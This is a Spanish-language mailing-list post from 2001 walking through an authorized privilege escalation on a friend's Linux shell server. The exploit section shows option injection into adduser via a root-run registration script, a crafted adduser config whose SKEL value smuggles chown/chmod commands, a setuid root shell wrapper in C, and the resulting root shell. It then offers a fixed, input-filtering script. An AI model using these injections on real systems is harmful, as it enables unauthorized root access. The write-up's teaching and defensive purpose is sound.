[HACK] Caso real y práctico de hacking

RoMaN SoFt / LLFB roman at madrid.com
Thu Nov 15 12:33:17 CET 2001


 Hola a todos:

 En este post voy a contar como conseguí hackear la máquina de un
amigo (con su permiso y consentimiento), y la solución o fix que le
sugerí. A algunos les resultará instructivo -espero-. La idea tb es
que la gente aporte nuevas ideas, sobre todo a algunas cuestiones que
dejaré planteadas entre lineas. Allá vamos...

[ Este post se lo dedico a NiK* ("dueño" de la máquina en cuestión) y
Pic*, que seguramente me estarán leyendo, y  a todos aquellos que
"probaron" la susodicha máquina en busca de vulnerabilidades sin éxito
:-) ]


1.- Escenario

 Sea "vuln" la máquina a atacar. Se trata de un Linux con el último
kernel 2.4, muy poco soft instalado, con últimas versiones de
servidores y parece ser que bastante parcheado. Según me comentó mi
amigo la máquina habia sido puesta "a prueba" por diferentes conocidos
del mundillo hack y nadie había encontrado fallo alguno.

 Se trata de una máquina orientada al desarrollo que ofrece cuentas
shells gratuitas (no es un servicio orientado al público, así que no
pregunteis: ignoraré los mails relacionados con el tema). Para obtener
la cuenta simplemente hay que hacer telnet a la máquina, y entrar como
usuario "guest" sin password. A partir de ahi te pide un username y
password, rellenas ciertos datos (nombre real, etc) y la cuenta es
creada al instante. Luego te conectas a la cuenta mediante SSH.


2.- Un paseo por la máquina

 Tras llevar a cabo el proceso de registro entré en mi cuenta recien
creada. Lo primero es como siempre inspeccionar el sistema: hacer un
"netstat -na" o "netstat -na | grep LISTEN" (esto ultimo solo muestra
los puertos TCP abiertos, no UDP) para ver los servicios que corre,
"cat /proc/version" para ver la versión completa de kernel, buscar
algun /etc/xxxx-release que de una pista de la distribución Linux de
que se trata, buscar ficheros suid que puedan ser atacados, bugs
conocidos, etc.

 Después de obtener una rápida panorámica y no encontrar nada raro
decidí centrarme en el sistema de registro. El sistema funcionaba así:
- la cuenta guest tiene uid 0
- tiene como shell inicial el script:

roman at vuln:~$ ls -l /usr/local/bin/shguest
-rwsr-s---    1 1004     root          201 Nov 11 15:34
/usr/local/bin/shguest

- no se permite hacer "su guest" (sería root instantaneo)

 Si analizamos esto un poco vemos que:
- el script se ejecutará con uid 0 (uf!)
- los permisos del script son muy raros. Los bits suid y sgid sobran,
ya que el usuario guest ya tiene permisos de root
- los permisos para "others" son nulos, con lo cual no podemos listar
el contenido del script en busca de vulnerabilidades. Trabajamos a
ciegas.

 El script -que sólo lo pude ver en un momento más avanzado del
"ataque"- os lo pongo a continuación, para que se entienda mejor el
post:

--cut--

#!/bin/bash
echo "Add New UserName"
read -p "Enter a username to add: " login
/usr/sbin/adduser $login
echo ""
echo "Correctly added user $login"
echo ""
read -p "Press [ENTER] to continue..."
echo ""

--cut--

 Aquí vamos a pararnos un poquito:
- bash es una shell bastante inteligente. Intenta ser relativamente
segura e implementa ciertas "protecciones", como por ejemplo:
  + si lo hacemos "suid root" y un usuario plano lo ejecuta NO da una
root shell, que sería en principio lo esperado (ya veremos como
solventar esto). Probad con otras shells y vereis que sí lo consienten
  + parece ser que no permite ataques como "; | `".
[Que alguien me lo confirme y hable un poco de estas "protecciones" de
bash]
- el script ejecuta un comando usando la cadena suministrada por el
usuario *sin parsear*. Esto nunca se debería hacer y va a ser el
fundamente de nuestro ataque.

 Bien, intentamos los típicos ataques:
1.- Enter a username to add: paquito ; /usr/bin/id
2.- Enter a username to add: paquito | /usr/bin/id
3.- Enter a username to add: `/usr/bin/id`
4.- Enter a username to add: paquito > /tmp/jcea

 En fin, ninguno funciona. Quien lo diría, ¿eh? Si el script corriera
con una shell tradicional (sh, tcsh, ksh) más que probablemente aquí
habría terminado este escrito y habríamos encontrado la puerta para
entrar ;-)

 Sin embargo, al ir viendo las respuestas del script (a todo esto,
para probar lo anterior simplemente basta con hacer un "telnet
localhost" y usar el user "guest" para que se ejecute el script de
registro) me voy dando cuenta de que usa "adduser" para añadir los
nuevos usuarios y que se le pueden pasar parámetros a dicho programa
(recordemos que yo no tenía el listado del contenido del script en
esta fase). Por ejemplo, hago "telnet localhost" y entro como "guest":

Enter a username to add: --help
adduser [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID]
[--firstuid ID] [--lastuid ID] [--gecos GECOS] [--ingroup GROUP |
--gid ID]
[--disabled-password] [--disabled-login] user
   Add a normal user

adduser --system [--home DIR] [--shell SHELL] [--no-create-home]
[--uid ID]
[--gecos GECOS] [--group | --ingroup GROUP | --gid ID]
[--disabled-password]
[--disabled-login] user
   Add a system user

adduser --group [--gid ID] group
addgroup [--gid ID] group
   Add a system group

adduser user group
   Add an existing user to an existing group

Global configuration is in the file /etc/adduser.conf.
Other options are [--quiet] [--force-badname] [--help] [--version]
[--conf
FILE].

Correctly added user --help

Press [ENTER] to continue...


 Tras mirarme el "man" del adduser se me ocurre intentar crear una
nueva cuenta con permisos de root con algo como:

Enter a username to add: --uid 0 paquito
adduser: The UID `0' already exists.

Correctly added user --uid 0 paquito

Press [ENTER] to continue...

 Como veis, adduser se queja y no nos deja porque ya existen usuarios
con uid0 (root y guest, por ejemplo). Vaya por Dios... con lo facil
que parecía...

 Segundo intento...

Enter a username to add: --gid 0 paquito
[...]

 OK! Eso funciona. Obtenemos una cuenta con gid root. Algo es algo. A
partir de ahi seguro que se os pueden ocurrir algunas cosas para
lograr el root total, no? Bueno, pues aunque parezca raro, NO vamos a
aprovecharnos de esto, y dejaremos nuestra cuenta gid root apartada,
no la vamos a usar (mas dificil todavia.. xDDD).

 ¿Y entonces? ¿Nos hemos quedado sin ideas? "Use the code, Luke". Pues
eso...:

roman at vuln:~$ ls -l /usr/sbin/adduser
-rwxr-xr-x    1 root     root        25538 Sep 17 15:23
/usr/sbin/adduser
roman at vuln:~$ more /usr/sbin/adduser
[...]

 Es decir, nos ponemos a mirar el código de adduser. Se trata de un
script en perl (si no recuerdo mal típico de Debian, aunque esto no lo
he comprobado), que va llamando a otros comandos como "useradd" (que
son los que de verdad valen para añadir usuarios al sistema, etc).

 Pero antes de mirar el código se me ocurre otra cosa: ¿y si vemos lo
que se puede hacer con la opcion "--conf" de adduser? Esta opción
permite suministrarle ciertos datos de configuración a adduser. Y le
podemos dar un fichero que nosotros hayamos creado, ¿verdad? :-) Vale,
vale, vale...

 Me viene a la cabeza el artículo de RFP publicado en Phrack55 que
habla sobre las inseguridades de cgi: truquitos como añadir un "|" al
final de un nombre de fichero para lograr ejecutar comandos y cosas
asi. 

 Después de probar algunos de estos truquitos a ciegas [--conf ";
/usr/bin/id|" y cosas así] (sin mirar el código de adduser) me veo en
la necesidad de recurrir al código. En fin, yo lo quería evitar pero
qué se le va a hacer... sniff :-(

Hago una busqueda en el codigo del adduser. Estoy buscando "open".
Precisamente en el primer "open" que sale tenemos lo siguiente:

open(FIND, "cd $config{skel}; find .  ! -name '*.dpkg-*' -print |")
                || &cleanup("fork for find: $!\n");

 lo cual se traduce en que ejecutará los siguientes comandos shell:
cd $config{skel}; find .  ! -name '*.dpkg-*' -print

 Bingo! =) Aquí se ejecutan varias instrucciones shell y vemos que
podemos insertar comandos shell usando la "variable" SKEL. Estamos muy
cerca de conseguirlo...

 ¿Y como hacemos que SKEL contenga los comandos que  queremos
nosotros? Facil, usando la opción --conf de adduser y suministrándole
un fichero de configuración trucado por nosotros, donde incluiremos el
valor de SKEL que nos convenga =))))


3.- El exploit

 Nuestro objetivo será crearnos una shell setuid root. La llamaremos
/home/roman/shell. Para ello podríamos pensar que basta con copiar
/bin/bash a /home/roman/shell y luego hacerlo setuid root. Bien, eso
no funciona, por las razones más arriba comentadas (protección de
bash), así que utilizamos el viajo truquito:

roman at vuln:~$ cat > shell.c
main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}
roman at vuln:~$ cc -o shell shell.c
roman at vuln:~$ ls -l shell
-rwxr-xr-x    1 roman    roman        5166 Nov 15 12:46 shell

 Bien, ya tenemos nuestra shell. Ahora falta "convertirla" en
rootshell. Para ello basta con cambiarle el dueño de fichero a root y
luego añadirle el bit suid. Estos 2 comandos necesitan de root, el
cual no tenemos todavía. Pero claro, aquí viene cuando tenemos que
aprovechar la vulnerabilidad descubierta en el script de registro:

roman at vuln:~$ cp /etc/adduser.conf conf
roman at vuln:~$ vi conf
[...]
SKEL="/etc/skel ; chown root /home/roman/shell ; chmod 4755
/home/roman/shell"
[...]

 Lo que he hecho es crear un fichero de configuración de adduser
PROPIO, a partir del conf de sistema. Como se puede ver he cambiado la
linea de SKEL. Se ve lo que quiero hacer, ¿verdad? Adduser se
ejecutará como root y tratará de ejecutar:

cd $config{skel}; find .  ! -name '*.dpkg-*' -print

 lo cual se traduce (teniendo en cuenta la variable SKEL que hemos
retocado) en:

cd /etc/skel ; chown root /home/roman/shell ; chmod 4755
/home/roman/shell; find .  ! -name '*.dpkg-*' -print

 Y estos comando se ejecutarán como root! =)

 Vamos a ello.
roman at vuln:~$ telnet localhost
login:guest
[...]
Enter a username to add: --conf /home/roman/conf death
Adding user death...
Adding new group death (1028).
Adding new user death (1028) with group death.
Creating home directory /home/death.
Copying files from /etc/skel ; chown root /home/roman/shell ; chmod
4755 /home/roman/shell
Can't deal with /etc/skel ; chown root /home/roman/shell ; chmod 4755
/home/roman/shell/./.bashrc.  Not a dir, file, or symlink.
Cleaning up.
Removing directory `/home/death'
Removing user `death'.
Removing group `death'.
groupdel: group death does not exist

Correctly added user --conf /home/roman/conf death

Press [ENTER] to continue...

 Bien, vemos que se producen errores y tal, pero no nos importa: lo
importante es que se ha ejecutado nuestro código. Veamos el resultado:

roman at vuln:~$ ls -l shell
-rwsr-xr-x    1 root     roman        5162 Nov 14 14:29 shell

 ¿Magia negra? No, simplemente nuestro exploit ha funcionado y tenemos
nuestra setuid shell. Veamos:

roman at vuln:~$ ./shell
root at vuln:~# id
uid=0(root) gid=0(root) groups=1017(roman)

 ¡¡¡ Lo hemos conseguido !!!


4.- El fix (la solución)

 Está claro que el script "shguest" es una porquería (y que tampoco es
recomendable usar wrappers como "adduser", jeje; yo usaría
directamente el "useradd" corriente y moliente).

 Pues nada me pongo manos a la obra y hago un script de reemplazo:
"shguest2".

--cut--

#!/bin/bash
#
# shguest2. (c) RoMaNSoFt, 2001

echo "Add New UserName (only alphanumeric chars allowed)"
read -p "Enter a username to add: " login

# Comprobamos si se trata de un intento de hack
#42      "
#47      '
#134     \
#140     `
#176     ~

hacklogin=`echo "$login" | tr -d "|;\\\140<>\042\047\134\176$"`

if [ ! "$login" == "$hacklogin" ] ; then
  echo -e "\n*** Possible hack attempt ***\n"
  exit
fi

# Filtramos todo excepto los caracteres alfanumericos
safelogin=`echo "$login" | tr -cd "[:alnum:]"`

if [ "$login" == "$safelogin" ] ; then
  # Ignora señales SIGINT (ctrl-C) y SIGQUIT (el usuario no puede
abortar)
  trap "" 2 3
  # Añadimos usuario...
  /usr/sbin/useradd -m $safelogin > /dev/null 2>&1
  if [ $? -eq 0 ] ; then
    /usr/bin/passwd "$safelogin"
    /usr/bin/chfn "$safelogin"
    echo -e "\n** Correctly added user \'$safelogin\' **\n"
  else
    echo -e "\nSorry, I couldn\'t add that username (perhaps you\'ve
entered an existing username?). We aren\'t perfect... yet :-)\n"
  fi
else
  echo -e "\nNo, no, no. Try again entering _only_ numbers and letters
(eg: \'pepito21\')\n"
fi

read -p "Press [ENTER] to continue..."

# Done
# -Rom 15.11.2001

--cut--

 El script básicamente:
- parsea el texto que le introduzcamos, de forma que solo pasa a
"useradd", "passwd", etc un username que solo contenga numeros y
letras (no valen espacios ni nada que no sea otra cosa; es decir, solo
admito alfanumericos; lo demás todo filtrado por defecto). Es la forma
más segura (denegar por defecto).
- incluyo un pequeño código que chequea caracteres que se suelen usar
en un intento de hack (; | ` etc). Curioso, ¿verdad?

[¿¿Comentarios acerca de mi script???]

 Posibles mejoras:
- poner absolutamente todos los comandos usados con "full pathname".
Es un poco paranoico pero vamos... De esta forma si alguien consiguera
modificar la variable PATH seguiríamos estando a salvo. De todas
formas esto no debería ser posible desde telnet (viejos bugs permitian
modificar variables de entorno de telnet; ya digo, viejos, por
suerte).
- usar "sudo useradd", "sudo passwd" y "sudo chfn". Habría que
configurar sudo para que el usuario guest pueda ejecutar estos
comandos como root (solo esos comandos). De esta forma el usuario
guest nunca más tendrá que tener uid 0, sino un uid normal (1000,
p.ej). Esto es altamente recomendable.

[¿¿Mas ideas??]


5.- Conclusiones

 No es nada novedoso sino tremendamente conocido el hecho de que
siempre debemos parsear todos los datos suministrados por un usuario;
si no se hace, luego pasa lo que pasa ;-) Los usuarios son siempre
potenciales atacantes. Hay que intentar ser un poco paranoico y no
presuponer nada!

 Espero que la lectura haya resultado divertida y amena, y que algunos
hayan sacado partido de ella. Con eso me conformo.

 Como siempre, cualquier comentario, crítica (constructiva) y/o
sugerencia será bien recibida.

 Salu2.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    ** RoMaN SoFt / LLFB **  
       roman at madrid.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



More information about the hacking mailing list